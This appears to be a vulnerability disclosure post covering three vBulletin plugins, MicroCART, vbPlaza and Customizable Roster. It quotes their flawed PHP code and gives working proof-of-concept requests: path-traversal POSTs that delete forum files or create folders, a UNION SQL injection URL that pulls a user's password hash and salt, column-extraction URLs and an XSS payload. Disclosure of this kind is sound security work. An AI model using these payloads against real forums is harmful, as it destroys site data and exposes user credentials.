vBulletin MicroCART 1.1.4 – Arbitrary File(s) Deletion, SQL Injection & XSS

Plugin: http://www.vbulletin.org/forum/showthread.php?t=256723
Version: 1.1.4 (latest)

This plugin is fairly old but still used by a lot of people and received its last update nearly 4 years ago.
It’s vulnerable to arbitrary file deletion and SQL injection.

Arbitrary Files Deletion
In /microcart/editor/assetmanager/ are a bunch of files which are probably used to manage files/folders for the administrator, unfortunately no authentication and checks were added to see if the user should have access to it and if the request doesn’t contain anything malicious.

The /microcart/editor/assetmanager/folderdel_.php file contains the following on top:

$sMsg = "";

if(isset($_POST["inpCurrFolder"]))
  {
  $sDestination = pathinfo($_POST["inpCurrFolder"]);

  //DELETE ALL FILES IF FOLDER NOT EMPTY
    $dir = $_POST["inpCurrFolder"];
    $handle = opendir($dir);
    while($file = readdir($handle)) if($file != "." && $file != "..") unlink($dir . "/" . $file);
    closedir($handle);

  if(rmdir($_POST["inpCurrFolder"])==0)
    $sMsg = "";
  else
    $sMsg = "document.write(getTxt('Folder deleted.'))";
  }

By simply sending a POST request to this file, we can delete every single file in specified folder.

POST to:	/microcart/editor/assetmanager/folderdel_.php
POST data:	inpCurrFolder: ../../../

This POST request will delete every single .php file in the root folder of vBulletin.

Arbitrary File Deletion
There’s another vulnerability which resides in the /microcart/editor/assetmanager/assetmanager.php file. It contains an upload function, which is safe, and a file deletion function, which is not safe. We can delete any file off the server by abusing this. So unlike the previous vulnerability I just wrote which deletes all files by sending a POST request with a folder value, this will only delete 1 file off the server.

Vulnerable code:

if(isset($_POST["inpFileToDelete"]))
  {
  $filename=pathinfo($_POST["inpFileToDelete"]);
  $filename=$filename['basename'];
  if($filename!="")
    unlink($currFolder . "/" . $filename);
  $sMsg = "";
  }

Exploited by sending the following request:

POST to:	/microcart/editor/assetmanager/assetmanager.php
POST data:	inpCurrFolder: ../../../
		inpFileToDelete: index.php		

This will delete the /index.php file of vBulletin, in the root.

Aribtrary Folder Creation
Besides the file deletion, there’s a file called /microcart/editor/assetmanager/foldernew.php which creates a 0755 chmodded folder on the server.
The file contains the following on top:

$sMsg = "";

if(isset($_POST["inpNewFolderName"]))
  {
  $sFolder = $_POST["inpCurrFolder"]."/".$_POST["inpNewFolderName"];

  if(is_dir($sFolder)==1)
    {//folder already exist
    $sMsg = "document.write(getTxt('Folder already exists.'))";
    }
  else
    {
    //if(mkdir($sFolder))
    if(mkdir($sFolder,0755))
      $sMsg = "document.write(getTxt('Folder created.'))";
    else
      $sMsg = "document.write(getTxt('Invalid input.'))";
    }
  }

By sending the following POST request, we will create a folder with 0755 chmodded permission.

POST to:	/microcart/editor/assetmanager/foldernew.php
POST data:	inpNewFolderName: 	davewashere
		inpCurrFolder: 		../../..

This POST request will create the folder davewashere in the root of the vBulletin forum.

SQL Injection
MicroCART is also vulnerable to SQL injection at several locations although most of them are rather hard to abuse. I will not explain how to exploit it, but the vulnerability can be found at /cart.php line 833 to 881 and the function where you can add products to your shopping cart, at around line 1251 to 1328 where $_POST[‘fields’] is assigned to the configuration variable which is later used in a query.

Cross Site Scripting
When modifying your information at /cart.php?do=cpanel, you can inject anything you want into the fields.
Viewing reviews of products may be vulnerable as well when you leave out the wysiwyg POST key.

vBulletin vbBux and vbPlaza v4 Plugin – SQL Injection

Plugin: http://www.vbulletin.org/forum/showthread.php?t=270271
Version: 4.0.3 (latest)

The vulnerability resides in the /vbplaza/tracklist.php file.
The vulnerable code:

// try to get the songs for this user
if (empty($_REQUEST['userid']))
{
	// set it to the currently logged in user
	$_REQUEST['userid'] = $vbulletin->userinfo['userid'];
}

// grab any user tracks from the database
$usertrack_cache = array();
if ($usertracks = $vbulletin->db->query_read("
	SELECT *
	FROM " . TABLE_PREFIX . "vbplaza_track_user
	WHERE userid = " . $_REQUEST['userid'] . "
	ORDER BY displayorder, usertrackid
"))

Nothing is sanitized and no validation. Very easy to exploit.

Proof of concept
http://example.com/vbplaza/tracklist.php?userid=userid UNION ALL SELECT null, null, null, null, null, null, concat(username, 0x3a, password, 0x3a, salt), null, null FROM user WHERE userid = 1

Image
VBPlaza SQL Injection

vBulletin Customizable Roster Plugin – Data Extraction & XSS

Plugin: http://www.vbulletin.org/forum/showthread.php?t=235326
Version: 4.1.0 (latest)

This plugin is prone to a data extraction vulnerability and cross site scripting. Both vulnerabilities are found in the showroster.php file.

#1 Data Extraction

The vulnerable code looks like this:

			// ###GROUPCACHE#################################################################
			if ($userinfo['userid']) {
				$t = strtoupper($userinfo[$sortgroupfield]);
				$u = strtoupper($userinfo[$sortuserfield]);
				$groupcache["$t"]["$u"] = $userinfo;
			}

As you can see, the variable $t contains the $userinfo[$sortgroupfield] value. The $sortgroupfield value is retrieved from the URL which can be changed by any user.
Later on, the script iterates through the $groupcache array and assigns the variables to the showroster template.

Now the problem here is that the $sortgroupfield variable is not sanitized or checked, and since the $userinfo variable contains all columns of the user table, we can extract any information of a certain user by changing the URL to something like:
http://example.com/showroster.php?order=asc&sortgroupfield=password or
http://example.com/showroster.php?order=asc&sortgroupfield=salt

The only downside is that the user must be shown in the roster and that you can only extract 1 column at a time.

Proof of concept:
http://example.com/showroster.php?order=asc&sortgroupfield=password will show something like this:
Roster Plugin Data Extraction

 
#2 Cross Site Scripting

The GET variable id is prone to XSS.

Proof of concept:
http://example.com/showroster.php?order=asc&sortgroupfield=field1&id="><script>alert("XSS")</script>

This will alert xss several times on the screen. Any type of HTML/JavaScript can be injected.